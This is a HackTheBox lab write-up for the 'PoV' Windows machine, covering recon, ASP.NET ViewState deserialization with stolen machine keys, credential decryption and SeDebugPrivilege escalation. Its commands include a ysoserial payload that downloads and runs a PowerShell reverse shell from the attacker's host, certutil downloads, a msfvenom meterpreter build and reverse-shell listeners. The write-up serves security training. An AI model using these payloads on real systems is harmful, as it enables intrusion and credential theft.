PoV - HTB Writeup
Machine Info
PoV is a medium-rated Windows machine on HackTheBox. It involves exploiting an Insecure Deserialization Vulnerability in ASP.NET 4.5 for initial foothold. For lateral movement, we need to extract the clear text password of the ‘alaading’ user from connection.xml file. The ‘alaading’ user has the SeDebugPrivilege enabled, which facilitates Privilege Escalation.
User
Scanning through Nmap
First of all, we will go with Nmap to scan the whole network and check for services running on the network. To scan the entire network and find all the open ports, I use -p- to scan all 65535 ports with –min-rate 10000 to scan the network faster using nmap. After scanning, I retrieve a list of open ports on the network and extract only the open ports using various terminal tools like cut, tr, etc.
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$ nmap -p- -Pn --min-rate 10000 10.10.11.251 -oN ini.txt && cat ini.txt | cut -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
# Open ports
22,80
Now Let’s run the depth scan on these specific ports using
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$ nmap -p22,80 -sC -sV -A -T4 -Pn 10.10.11.251 -oN scan.txt
- -sC is to run all the default scripts
- -sV for service and version detection
- -A to check all default things
- -T4 for aggressive scan
- -oN to write the result into a specified file
- -Pn to Treat all hosts as online
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PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Information Gathering
From Website title we discover the domain name of web which is pov.htb. Let’s add this we our /etc/hosts.
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cat /etc/hosts | grep pov
10.10.11.252 pov.htb
Port 80
Web is simple static Business startup Website with some css and js code not going anywhere.
Found potential user name sfitz from email.
After that i go for subdomain enumeration using tool ffuf (FFuf is an open source (MIT license) fuzzing tool to detect content and elements on webservers and web applications.), was able to discover on subdomain called dev let’s also add this to our local DNS file called /etc/hosts. In ffuf -w is used for wordlist path, -u for URI, -H for Header, -c to colorize the output and -fs to filter out specific size in my case it is 12330.
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ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://pov.htb/ -H "Host: FUZZ.pov.htb" -c -fs 12330
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://pov.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 12330
________________________________________________
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 233ms]
After visiting the website, it is a portfolio website of user Stephen ftiz.
wappalyzer shows that the backend language is ASP.NET and the sever IIS 10.0 is running
In about page, there is a download CV button
In comments section, one of it’s customer said he is not good at secure coding in ASP.NET. So we are now looking for a vulnerability in ASP.NET
Let’s Download the CV and intercept the request in burp. In request we can see that the developer use VIEWSTATE field to maintain the state of page. VIEWSTATE is one of the methods of the ASP.NET page framework used to preserve and store the page and control values between round trips. It is maintained internally as a hidden field in the form of an encrypted value and a key.
Let’s google if there is any vulnerability related to VIEWSTATE. And with a quick google search we discover that the VIEWSTATE field is vulnerable to Insecure Deserialization attack.
To exploit VIEWSTATE deserialization, we need two things
- Validationkey
- Decryptionkey These both values store in web.config file in root directory of application. Let’s try to read the web.config file using Directory traversal attack. We successfully managed to read the content of web.config file.
```http request POST /portfolio/ HTTP/1.1 Host: dev.pov.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 360 Origin: http://dev.pov.htb Connection: close Referer: http://dev.pov.htb/portfolio/ Upgrade-Insecure-Requests: 1
__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=YELV8MkHqS183JS5OCwLzDf6cYORnak7lstS35EpzCoyuuQiuwhoOYpay1w0EdG4nujJ7MMOdpYKlRUeOx%2BdQYeSe9k%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=QVKOEtVHSsDQmTMYu0c91BNlt%2B8wlI11mW%2FeyY70IFOmvX2AxNHDIm76U7Hp7zuqtHg1perf7DOSgWUaSd39VmZEotqKm6XvxTwYocXEVy5Tvsv4H9%2FJPZIXSUyD8zfmGX9UCw%3D%3D&file=/web.config
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```http response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=/web.config
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 31 Jan 2024 17:36:03 GMT
Connection: close
Content-Length: 866
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>
Exploitation
Insecure deserialization is a vulnerability in which untrusted or unknown data is used to inflict a denial-of-service attack, execute code, bypass authentication or otherwise abuse the logic behind an application. Serialization is the process that converts an object to a format that can later be restored. You can Learn more about ASP.net VIEWSTATE Deserialization attack here and here. To exploit the deserialization vulnerability we need ysoserial tool written by pwntester. You can download it from here. We have both descryptionkey and validationkey, Let’s Exploit it.
We will be using PowerShellTCP script by nishang to get reverse shell. you can download PowerShellTCP from here. After download it run a python server in the same directory in which you PowerShellTCP script resides using command:
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$ python3 -m http.server 80
This will run a local http server on port 80, and run a listener in your local machine on a port which you will set in serialization payload. In my case, i used port 9001
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$ nc -lvnp 9001
- -l for listener
- -v for verbosity
- -n for numeric IP address, no DNS name.
- -p for port number
After that create a serialized payload through which we will be getting shell using command:
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ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.16.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 9001" --path="/portfolio/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
After payload creation, copy the payload and paste it in VIEWSTATE field in burp request and send request
And we got a shell as sfitz user with in a second.
Shell as allaading user
In the Documents directory of sfatiz user, we found a file name connection.xml which include the encrypted password of user alaading. PSCredential is a class in the .NET framework used in PowerShell to securely store a username and password combination. It’s commonly used when working with cmdlets or functions that require credentials, such as when accessing network resources, connecting to remote servers, or running commands with different user privileges.
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<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">alaading</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
</Props>
</Obj>
</Objs>
To obtain the clear text password of alaading user, we will be using the below script: source
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echo "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" > hash.txt
$EncryptedString = Get-Content ./hash.txt
$SecureString = ConvertTo-SecureString $EncryptedString
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList "username",$SecureString
echo $Credential.GetNetworkCredential().password
alaading : f8gQ8fynP44ek1m3
Now we have credientials of alaading user. Let’s use RunasCs.exe to gain shell as alaading. RunasCs is an utility to run specific processes with different permissions than the user’s current logon provides using explicit credentials. This tool is an improved and open version of windows builtin runas.exe. Let’s first move RunasCs.exe to victim machine using certutil, an windows built-in tool to manage certificates.
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certutil.exe -urlcache -f http://10.10.14.5:8000/RunasCs.exe RunasCs.exe
We can gain remote access using RunasCs.exe with -r option.
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RunasCs.exe alaading f8gQ8fynP44ek1m3 powershell.exe -r 10.10.14.5:9001
Our User Flag is present in Alaading user Desktop Directory
Privilege Escalation
The very first command i run to check alaading user permission is whoami /priv which reveals that the alaading user have SeDebugPrivilege permission
SeDebugPrivilege
According to Microsoft official documentation link:
[!NOTE] SeDebugPrivilege With SeDebugPrivilege privilege, the user can attach a debugger to any process or to the kernel. We recommend that SeDebugPrivilege always be granted to Administrators, and only to Administrators. Developers who are debugging their own applications do not need this user right. Developers who are debugging new system components need this user right. This user right provides complete access to sensitive and critical operating system components.
So We can use this permission to gain Admin access using process migration. The process winlogon always run with the Admin privileges in windows, we can migrate to it’s PID to gain admin access.
Let’s First get shell on Metasploit meterpreter. We will create malicious .exe file using msfvenom. `
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$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe
Deliver malicious binary file using same method as we did before using certutil start listener on metasploit and run shell.exe file.
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$ msfconsole -q
$ use exploit/multi/handler
$ set palyload windows/x64/meterpreter_reverse_tcp
$ set LHOST=tun0
$ run
Now list running processes and find the PID of winlogin. PID 552 is winlogon ID.
Let’s use migrate 552 in meterpreter to impersonate to winlogon process. We are nt authority\system
Our Root flag is present on Administrator’s Desktop directory.
Flags
User : f642ac5862307……..62e9870accd33
Root: b2fd724ef3b1eaa…….29640239be0